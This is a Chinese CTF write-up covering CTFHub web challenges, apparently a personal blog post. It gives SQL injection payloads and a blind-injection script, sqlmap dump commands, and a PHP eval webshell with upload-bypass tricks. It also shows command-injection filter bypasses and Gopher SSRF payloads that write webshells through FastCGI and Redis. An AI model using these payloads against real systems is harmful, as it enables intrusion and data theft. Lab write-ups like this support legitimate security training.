CTFHUB技能树——web篇
前言
因为我一开始是没打算写博客的,所有前面的图基本都没截图,以至于后面想写博客的时候没图,又没有金币了,我想吃西瓜都吃不到,更别说充金币。分币不花,玩的就是陪伴。前面的一些图来自于大佬们的博客,我会在结尾@出来。
web前置技能
HTTP协议
请求方式
用bp抓包把请求头改为CTFHUB即可
302跳转
301重定向和302重定向的区别:
302重定向只是暂时的重定向,搜索引擎会抓取新的内容而保留旧的地址;
301重定向是永久的重定向,搜索引擎在抓取新的内容的同时也将旧的网址替换为了重定向之后的网址。
bp抓包重放即可
Cookie
bp操作cookie
基础认证
简介:
在HTTP中,基本认证(英语:Basic a***ess authentication)是允许http用户代理(如:网页浏览器)在请求时,提供 用户名 和 密码 的一种方式。详情请查看 https://zh.wikipedia.org/wiki/HTTP基本认证
附件提供了密码,很明显就是爆破
用bp中的intruder模块即可爆破
根据抓包可知,本网页提交会将用户名密码经过base64加密后提交,且格式为:
用户名:密码
先载入字典
增加爆破规则:
增加前缀YWRtaW46(admin:的base64的编码)
再加上base64
将爆破后所得结果base64解码提交即可
响应包源代码
看一下源码就出来了,不知道要考啥
信息泄露
目录遍历
乱点即可
phpinfo
在网站后加上phpinfo,查找flag即可
备份文件下载
网站源码
手动试 脚本 御剑都可
下面是脚本
import requests
url = "http://challenge-asd2b3af19e2c1e7.sandbox.ctfhub.***:10080/"
l1 = ['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp']
l2 = ['tar', 'tar.gz', 'zip', 'rar']
for i in l1:
for j in l2:
url_final = url + "/" + i + "." + j
r = requests.get(url_final)
print(str(r)+"+"+url_final)
bak文件
bak是一个备份文件,为文件格式扩展名。这类文件一般在.bak前面加上应该有原来的扩展名比如windows.dll.bak,或是windows_dll.bak,有的则是由原文件的后缀名和bak混合而成。
直接访问bak文件
flag在bak文件里
vim缓存
swp文件:非正常关闭vim就会生成swp文件
所以我们访问swp
获取到swp文件后,直接编辑的话是一堆乱码,因为其并不是文本格式
.DS_Store
.DS_Store(英文全称 Desktop Services Store)是一种由苹果公司的Mac OS X操作系统所创造的隐藏文件,目的在于存贮目录的自定义属性,例如文件们的图标位置或者是背景色的选择。相当于 Windows 下的 desktop.ini。
直接访问
点击下载好的文件 用记事本打开 再返回到网站链接输入这串数字之间不能有空格 回车即可得到flag
git泄露
git svn hg这些题都是使用kali操作的
git是什么?
Git(读音为/gɪt/)是一个开源的分布式版本控制系统,可以有效、高速地处理从很小到非常大的项目版本管理。也是Linus Torvalds为了帮助管理Linux内核开发而开发的一个开放源码的版本控制软件。
著名的GitHub就是以git为基础构造的 现在很多公司都使用git 因为他简单 高效
安装工具:githack
链接: https://github.***/BugScanTeam/GitHack
kali自带git 可以用下面的命令直接安装
git clone https://github.***/BugScanTeam/GitHack
log
在GitHack文件夹中使用python GitHack.py url/.git/
跳转对应url生成的文件夹下
使用git show 命令就可以直接得到flag
stash
同上,在GitHack文件夹中使用python GitHack.py url/.git/
跳转对应url生成的文件夹下
输入 git stash list 查看git stash所储藏的修改
输入git stash pop 查看git stash最近一次入站的命令,在这道题就是flag
打开challenge-9c602df6b94b6402.sandbox.ctfhub.***_10800文件加下的txt文件就可得到flag
index
同上,在GitHack文件夹中使用python GitHack.py url/.git/
跳转对应url生成的文件夹下
输入git log 显示提交日志信息。
输入git diff +(***mit后面的内容)
SVN泄露
安装dvcs-ripper
git clone https://github.***/kost/dvcs-ripper.git
安装相应的依赖包
sudo apt-get install perl libio-socket-ssl-perl libdbd-sqlite4-perl libclass-dbi-perl libio-all-lwp-perl
sudo apt-get install libparallel-forkmanager-perl libredis-perl libalgorithm-***binatorics-perl
sudo apt-get install cvs subversion git bzr mercurial
在dvcs-ripper文件夹下运行
perl rip-svn.pl -v -u http://www.example.***/.svn/
用ls-al查看隐藏文件(也可用ctrl+H在文件夹下查看)
最后在这个目录下:
HG泄露
在dvcs-ripper文件夹下用
perl ./rip-hg.pl -v -u http://www.example.***/.hg
tree .hg(没有可以直接下载sudo apt-get install tree)
看到一个.txt,打开看看
利用正则匹配找一下flag
放到浏览器看即可
http://www.example.***/flag_2658329700.txt
密码口令
弱口令
什么是弱口令?
弱口令是网络安全十大安全漏洞之一,所谓的口令其实就是我们的密码,而弱口令就是相对来说比较容易被破解的密码,它会对信息安全造成严重的安全隐患。
弱口令我们可以简单的理解为能让别人随意就猜到的密码,比如abc、111、123、123456、88888888等等诸如此类的密码。
除此之外大家都能知道的密码称之为弱口令。还有以下的几点也如果不达到要求也可以称之为弱口令:
①空口令,没有设置密码
②口令小于8个字符且较为简单
③口令为连续的字母或者单纯数字
④口令为本人相关的名字字母,生日,易被发现的邮箱号,账号名昵称名,都可以称为弱口令,可以定义为针对你的弱口令,而不是普遍的弱口令。
弱口令一旦被破解将面临很严重的资产风险,在网络安全方面,我们的云主机,服务器一旦暴露了我们的登录密码则会导致我们的主机被入侵,导致我们网站,app,主机载体的内容受到损坏,可能导致不可逆的破坏和严重的经济损失。
同时不仅仅是主机、服务器,弱口令还涉及到我们日常的各类登录密码邮箱,微信、qq、web注册页面等等都是我们需要留意的,账号价值高的账户一定要设置安全复杂口令。
复杂口令建议:8字符以上且包含英文大小写+数字+符号的组合,同时一旦有暴露口令的风险一定要及时更换口令。
使用bp进行密码爆破即可 不多逼逼
默认口令
打开之后看到
去百度查亿邮邮件网关的默认口令
剩下的就是一个一个试,拿到flag
SQL注入
注入流程:
1.判断数据类型
id=1 and 1=1 不报错 id=1 and 1=2 报错 #数字型
id=1' and 1=1# 不报错 id=1' and 1=2# 报错 #字符型
2.使用order by查询字段数
order by x 后面接数字x是根据该表的第x列以默认升序方式排列,如果没有第x列则会报错,反之会执行。可以不断使用order by x这种方式来判断该表的字段数。(在这里都是2个字段,即order by 3就报错)
3.使用联合查询爆库名
union select database();
4.使用联合查询爆表名
union select database(),group_concat(table_name) from information_schema.tables where table_schema=database();
5.使用联合查询爆字段名
union select database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="查询到的表名";
6.使用联合查询在表中查询所需要的字段信息
union select database(),group_concat(username,'+',password) from "表名"
整数型注入
跟流程走即可
1 order by 2
1 order by 3
字段数为2
-1 union select 1,database()
数据库名称为sqli
-1 union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()
有两个表,我们需要进入flag表
-1 union select database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'
flag表中中只有一个字段也是flag
-1 union select 1,flag from sqli.flag
字符型注入
照着上面写
报错注入
简单来说就是正确的没回显,错了还有回显
使用 updatexml得到库名
/?id=-1 and updatexml(1,concat(1,database()),2)
接下来获取表名,输入
/?id=-1 and updatexml(1,(concat(1,(select group_concat(table_name) from information_schema.tables where table_schema =‘sqli’))),2)
获取flag表字段
/?id=-1 and updatexml(1,(concat(1,(select group_concat(column_name) from information_schema.columns where table_name =‘flag’))),2)
获取flag字段值
/?id=-1 and updatexml(1,(concat(1,(select flag from sqli.flag))),2)
布尔盲注
核心语句
if(expr1,expr2,expr3),如果expr1的值为true,则执行expr2语句,如果expr1的值为false,则执行expr3语句。
/?id=if(substr(database(),1,1)="s",1,(select table_name from information_schema.tables))
第一个字母为s 时 回显su***ess
第一个字母为a 时 回显error
tm的这么判断得整到啥时候去 所以得用脚本(自己写或者sqlmap)
脚本
import requests
start_url = 'http://challenge-4456dbf40a5c166f.sandbox.ctfhub.***:10800' #改成自己的url
starOperatorTime = []
mark = 'query_su***ess'
def database_name():
name = ''
for j in range(1,9):
for i in 'qwertyuiopasdfghjklzxcvbnm':
url = start_url+'/?id=if(substr(database(),%d,1)="%s",1,(select table_name from information_schema.tables))' %(j,i)
r = requests.get(url)
if mark in r.text:
name = name+i
print(name)
break
print('database_name:',name)
def table_name():
list = []
for k in range(0,4):
name=''
for j in range(1,9):
for i in 'qwertyuiopasdfghjklzxcvbnm':
url = start_url+'/?id=if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' %(k,j,i)
r = requests.get(url)
if mark in r.text:
name = name+i
break
list.append(name)
print('table_name:',list)
def column_name():
list = []
for k in range(0,3): #判断表里最多有3个字段
name=''
for j in range(1,10): #判断一个 字段名最多有10个字符组成
for i in 'qwertyuiopasdfghjklzxcvbnm':
url=start_url+'/?id=if(substr((select column_name from information_schema.columns where table_name="flag"and table_schema= database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' %(k,j,i)
r=requests.get(url)
if mark in r.text:
name=name+i
break
list.append(name)
print ('column_name:',list)
def get_data():
name=''
for j in range(1,40): #判断一个值最多有40个字符组成
for i in range(48,126):
url=start_url+'/?id=if(ascii(substr((select flag from flag),%d,1))=%d,1,(select table_name from information_schema.tables))' %(j,i)
r=requests.get(url)
if mark in r.text:
name=name+chr(i)
print(name)
break
print ('value:',name)
if __name__ == '__main__':
database_name()
table_name()
column_name()
get_data()
时间盲注
接下来掏出我们sql注入的神器:sqlmap
下载地址:https://sqlmap.org/
为神马?因为他好用啊!!
先说以下时间盲注的核心语句
if(expr1,expr2,expr3),如果expr1的值为true,则执行expr2语句,如果expr1的值为false,则执行expr3语句。
用sqlmap查库
python2 sqlmap.py -u http://challenge-zxc65482adf6bcfd.sandbox.ctfhub.***:10800/?id=1 --batch --technique T --dbs
得到了 库名
查表
python2 sqlmap.py -u http://challenge-zxc65482adf6bcfd.sandbox.ctfhub.***:10800/?id=1 --batch --technique T -D sqli --tables
查字段
python2 sqlmap.py -u http://challenge-zxc65482adf6bcfd.sandbox.ctfhub.***:10800/?id=1 --batch --technique T -D sqli -T flag --columns
查值
python2 sqlmap.py -u http://challenge-c3a65482adf6bcfd.sandbox.ctfhub.***:10800/?id=1 --batch --technique T -D sqli -T flag -C flag --dump
MySQL结构
跟上关一样,换个表名和字段名,直接sqlmap梭哈
Cookie注入
抓包修改Cookie(burpsuite)
发现两个注入点
爆出库名
下面就是一样的流程,查表,查字段,查flag(不过到这里开始表名,字段名都是随机生成的)
UA注入
在ua头里操作即可
Refer注入
在referer里操作(这里我用火狐插件HackBar来操作,这插件很方便)
过滤空格
吧空格换为/**/即可
文件上传
无验证
直接上传一句话木马,蚁剑连接就行
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3Z19kqRT-1681990837733)(https://raw.githubusercontent.***/2453862397/mdImage/main/img/QQ%E6%88%AA%E5%9B%BE20230410083348.png)]
前端验证
将2.php(一句话木马)改为png的格式,上传绕过前端,用bp抓包改为php即可
.hta***ess
.hta***ess是一个配置文件,用于运行Apache网络服务器软件的网络服务器上。当.hta***ess文件被放置在一个 "通过Apache Web服务器加载 "的目录中时,.hta***ess文件会被Apache Web服务器软件检测并执行。这些.hta***ess文件可以用来改变Apache Web服务器软件的配置,以启用/禁用Apache Web服务器软件所提供的额外功能和特性。
.hta***ess文件提供了针对目录改变配置的方法, 即在一个特定的文档目录中放置一个包含一条或多条指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过 Apache 的 AllowOverride 指令来设置。
在这里的作用是让别的文件以php的方式运行,这个题中f12可以看到代码过滤了很多的文件后缀名,所以我们的思路是以png的格式上传,之后上传hta***ess文件,就可以让png的文件以php的方式运行
思路:
1、上传png格式的一句话木马
2、上传.hta***ess文件
AddType application/x-httpd-php .png //.png文件当作php文件解析
3、蚁剑连接
MIME绕过
上传木马,将Content-Type改为png格式即可
00截断
如图所示
双写后缀
字面意思
文件头检查
RCE
eval执行
/?cmd=system("ls /"); //查看根目录 发现flag_1203
/?cmd=system("cat /flag_1203"); //使用cat 命令查看 flag_8999文件
文件包含
目提示 i have a shell, how to use it?
可知shell文件是shell.txt 我们包含shell.txt文件 就可以用eval()函数执行任意命令
php://input
看题目就知道,是考察我们对php伪协议的理解
我们在phpinfo()界面里发现 allow_url_include on
php://input
用法: 可以访问请求的原始数据的只读流,将post请求中的数据作为PHP代码执行.
因此可以用php://input 来执行post输入流的命令
下面就是正常的流程
读取源代码(php://filter)
和上一题一样,也是考察我们对php伪协议的了解,不多说。
远程包含
虽说写的远程包含,但还是input伪协议简单点
phpinfo()发现,allow_url_fopen 和include都on,存在远程文件包含
和input那题一样的操作
命令注入
ping 命令可以测一下与主机网络联通情况。但是如果过滤不严的话,也会导致恶意命令执行。
可以用管道符 来执行我们想执行的命令。
传入 127.0.0.1 | ls
照着流程走就行
过滤cat
两种方法:
1 可以用其他查看文本命令,比如tac,head,tail,nl,vim,less,more等
2 使用 \ '' "" {任意无意义变量名}等方法绕过
过滤空格
空格过滤绕过:
${IFS}
$IFS$
$IFS$1
$IFS$9
%09
%20
<>
<
过滤目录分隔符
目录分隔符 / 被过滤了。
127.0.0.1&ls //可以看到 flag_is_here 文件夹
127.0.0.1;cd flag_is_here;ls //这里使用 ; 或者 && 执行多条命令
进入文件夹,显示目录
127.0.0.1;cd flag_is_here;cat flag_************.php //cat 查看flag文件
过滤运算符
命令分隔符
linux中:
%0a(回车) %0d(换行)
;
&
|
&&
||
windows中:
%0a
&
|
%1a(作为.bat文件中的命令分隔符)
题目对管道符 | & || &&,进行了过滤。
127.0.0.1;ls //使用 ;即可
127.0.0.1;cat flag_*************.php
综合过滤练习
/?ip=127.0.0.1%0acd${IFS}f*_is_here${IFS}%0als
//%0a是命令分隔符,${IFS}是空格,f*_is_here是正则。翻译过来就是/?ip=127.0.0.1&cd flag_is_here &ls
SSRF
内网访问
根据提示直接打开访问即可
伪协议读取文件
根据题目的意思我们需要使用URL的伪协议去读取文件,那么我们首先要了解URL的伪协议。
URL伪协议有如下这些:
file:///
dict://
sftp://
ldap://
tftp://
gopher://(万金油)
网站的根目录一般都是在/var/www/html下
使用file:///协议
查看源代码就能看到flag
端口扫描
端口扫描一般都使用dict伪协议
提示,端口8000-9000
so,两种方法
bp爆破端口
写个简单脚本
脚本:
tm的,我搞半天也没搞出来,后来换个bp就好了
POST请求
后面的题都做得一知半解的,Gopher协议都是多老的协议的,还拿出来比划比划。
了解一下Gopher协议
Gopher是Inter***上一个非常有名的信息查找系统,它将Inter***上的文件组织成某种索引,很方便地将用户从Inter***的一处带到另一处。在WWW出现之前,Gopher是Inter***上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它;
gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议
我们访问flag.php 会给我们一个上传框,同时给了我们key
结合题目,需要我们用gopher协议去用post key到flag.php,不过需要注意的是要从127.0.0.1发送数据。使用方法:gopher://ip:port/_payload
构造post请求:
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=dbb8dsdfasdfasdfasdfdsavzxv(按自己的写)
用大佬的脚本,
import urllib.parse
payload =\
"""
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=7a63523334ee824db18990ffc181d204
"""
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result) # 这里因为是GET请求所以要进行两次url编码
生成payload
?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520127.0.0.1:80%250D%250AContent-Type:%2520application/x-www-form-urlencoded%250D%250AContent-Length:%252036%250D%250A%250D%250Akey=12dd6ab1a18c2fabacb046757c84de1b
上传文件
根据提示上传文件
补上提交按钮
我们需要通过get方式来进行上传一个文件到flag.php,利用gopher
协议:
通过上面大佬的脚本对请求包进行编码:
生成payload
gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520challenge-8ef5cef185a1ff8c.sandbox.ctfhub.***%253A10800%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv%253A97.0%2529%2520Gecko/20100101%2520Firefox/97.0%250D%250AA***ept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252C%252A/%252A%253Bq%253D0.8%250D%250AA***ept-Language%253A%2520zh-***%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250D%250AA***ept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D---------------------------32122413682081012985660864680%250D%250AContent-Length%253A%2520448%250D%250AOrigin%253A%2520http%253A//challenge-8ef5cef185a1ff8c.sandbox.ctfhub.***%253A10800%250D%250AConnection%253A%2520close%250D%250AReferer%253A%2520http%253A//challenge-8ef5cef185a1ff8c.sandbox.ctfhub.***%253A10800/%253Furl%253D127.0.0.1/flag.php%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250A-----------------------------32122413682081012985660864680%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%25221.c%2522%250D%250AContent-Type%253A%2520text/plain%250D%250A%250D%250A%2523include%253Cstdio.h%253E%250D%250Aint%2520main%2528%2529%250D%250A%257B%250D%250A%2509int%2520a%252Cb%252***%253B%250D%250A%2509scanf%2528%2522%2525d%2520%2525d%2522%252C%2526a%252C%2526b%2529%253B%250D%250A%2509c%253Da%252Ab%253B%250D%250A%2509printf%2528%2522%2525d%2522%252C%2526c%2529%253B%250D%250A%2509return%25200%253B%250D%250A%257D%250D%250A-----------------------------32122413682081012985660864680%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25C3%25A6%25C2%258F%25C2%2590%25C3%25A4%25C2%25BA%25C2%25A4%25C3%25A6%25C2%259F%25C2%25A5%25C3%25A8%25C2%25AF%25C2%25A2%250D%250A-----------------------------32122413682081012985660864680--%250D%250A%250D%250A
FastCGI协议
FastCGI协议详解:https://blog.csdn.***/mysteryflower/article/details/94386461
Gopherus工具:https://github.***/tarunkant/Gopherus.git
kali安装Gopherus工具
git clone https://github.***/tarunkant/Gopherus.git
准备一句话木马:<?php @eval($_POST['x']);?>,
构造要执行的终端命令:对一句话木马进行base64编码,并写入到名为shell.php的文件中。
echo “PD9waHAgQGV2YWwoJF9QT1NUWyd4J10pOz8+Cg==” | base64 -d > shell.php
运行Gopherus
python2 gopherus.py --exploit fastcgi
将生成的payload进行编码
?url=%67%6f%70%68%65%72%3a%2f%2f%31%32%37%2e%30%2e%30%2e%31%3a%39%30%30%30%2f%5f%25%30%31%25%30%31%25%30%30%25%30%31%25%30%30%25%30%38%25%30%30%25%30%30%25%30%30%25%30%31%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%31%25%30%34%25%30%30%25%30%31%25%30%31%25%30%35%25%30%35%25%30%30%25%30%46%25%31%30%53%45%52%56%45%52%5f%53%4f%46%54%57%41%52%45%67%6f%25%32%30%2f%25%32%30%66%63%67%69%63%6c%69%65%6e%74%25%32%30%25%30%42%25%30%39%52%45%4d%4f%54%45%5f%41%44%44%52%31%32%37%2e%30%2e%30%2e%31%25%30%46%25%30%38%53%45%52%56%45%52%5f%50%52%4f%54%4f%43%4f%4c%48%54%54%50%2f%31%2e%31%25%30%45%25%30%33%43%4f%4e%54%45%4e%54%5f%4c%45%4e%47%54%48%31%32%33%25%30%45%25%30%34%52%45%51%55%45%53%54%5f%4d%45%54%48%4f%44%50%4f%53%54%25%30%39%4b%50%48%50%5f%56%41%4c%55%45%61%6c%6c%6f%77%5f%75%72%6c%5f%69%6e%63%6c%75%64%65%25%32%30%25%33%44%25%32%30%4f%6e%25%30%41%64%69%73%61%62%6c%65%5f%66%75%6e%63%74%69%6f%6e%73%25%32%30%25%33%44%25%32%30%25%30%41%61%75%74%6f%5f%70%72%65%70%65%6e%64%5f%66%69%6c%65%25%32%30%25%33%44%25%32%30%70%68%70%25%33%41%2f%2f%69%6e%70%75%74%25%30%46%25%31%37%53%43%52%49%50%54%5f%46%49%4c%45%4e%41%4d%45%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%69%6e%64%65%78%2e%70%68%70%25%30%44%25%30%31%44%4f%43%55%4d%45%4e%54%5f%52%4f%4f%54%2f%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%31%25%30%34%25%30%30%25%30%31%25%30%30%25%30%30%25%30%30%25%30%30%25%30%31%25%30%35%25%30%30%25%30%31%25%30%30%25%37%42%25%30%34%25%30%30%25%33%43%25%33%46%70%68%70%25%32%30%73%79%73%74%65%6d%25%32%38%25%32%37%65%63%68%6f%25%32%30%25%32%32%50%44%39%77%61%48%41%67%51%47%56%32%59%57%77%6f%4a%46%39%51%54%31%4e%55%57%79%64%34%4a%31%30%70%4f%7a%38%25%32%42%43%67%25%33%44%25%33%44%25%32%32%25%32%30%25%37%43%25%32%30%62%61%73%65%36%34%25%32%30%2d%64%25%32%30%25%33%45%25%32%30%73%68%65%6c%6c%2e%70%68%70%25%32%37%25%32%39%25%33%42%64%69%65%25%32%38%25%32%37%2d%2d%2d%2d%2d%4d%61%64%65%2d%62%79%2d%53%70%79%44%33%72%2d%2d%2d%2d%2d%25%30%41%25%32%37%25%32%39%25%33%42%25%33%46%25%33%45%25%30%30%25%30%30%25%30%30%25%30%30
访问后shell.php已经上传到网站根目录下:
蚁剑连接:
Redis协议
运行gopherus
python2 gopherus.py --exploit redis //按下图填写
将生成的payload进行编码
gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252433%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255Bstray%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A%0A
访问shell.php(默认上传的文件名为shell.php):
URL Bypass
请求的URL中必须包含http://notfound.ctfhub.***,来尝试利用URL的一些特殊地方绕过这个限制吧
1.利用?绕过限制url=https://www.baidu.***?www.xxx.me
2.利用@绕过限制url=https://www.baidu.***@www.xxx.me
3.利用斜杠反斜杠绕过限制
4.利用#绕过限制url=https://www.baidu.***#www.xxx.me
5.利用子域名绕过
6.利用畸形url绕过
7.利用跳转ip绕过
这题我们就可以利用@符号绕过:
题目要求 url must startwith “http://notfound.ctfhub.***”,我们可以利用@来绕过。
如 http://clay@127.0.0.1 实际上是以用户名 clay 连接到站点 127.0.0.1。
即 http://notfound.ctfhub.***@127.0.0.1 与 http://127.0.0.1 请求是相同的。
数字IP Bypass
这次ban掉了127以及172.不能使用点分十进制的IP了,但可以用别的方法:
127.0.0.1的十进制:2130706433
127.0.0.1的十六进制:0x7F000001
302跳转 Bypass
SSRF中有个很重要的一点是请求可能会跟随302跳转,尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧
302跳转代码:
<?php
header("Location: http://127.0.0.1/flag.php");
?>
使用localhost也是一样的道理:
?url=localhost/flag.php
另一种方式:
就是在服务器上写入上面的302跳转代码,
http://challenge-***5e39e4db13d74.sandbox.ctfhub.***:10800/?url=yourip:port/302.php
此题不能进行http的访问,但是127.0.0.1(localhost)可以访问
DNS重绑定 Bypass
验证工具
https://lock.cmpxchg8b.***/rebinder.html
附件中讲的很清楚,由于我们无法在程序运行时以毫秒为单位手动更改DNS记录,所以要想实现DNS重绑定攻击,就必须配置一个自定义的恶意DNS服务器,并设定好指定域名的解析IP,再将TTL设置为0,使其解析时在非法内网IP与合法其他IP间反复横跳。我们可以自己编写解析服务,也可以利用测试dns重绑定漏洞的网站,让一个域名随意绑定两个IP。
构造payload:url=指定域名/flag.php,成功得到flag。
参考文章:
(4条消息) ctfhub 技能树 信息泄露 git泄露_github技能树git泄露_haoxue__的博客-CSDN博客
(4条消息) CTFHUB技能树(全详细解析含进阶)_無名之涟的博客-CSDN博客
(4条消息) CTFHUB技能树SQL注入整数型和字符型注入_!__ !的博客-CSDN博客
https://blog.csdn.***/weixin_63231007/article/details/124847164
https://blog.csdn.***/qq_45927819/article/details/123400074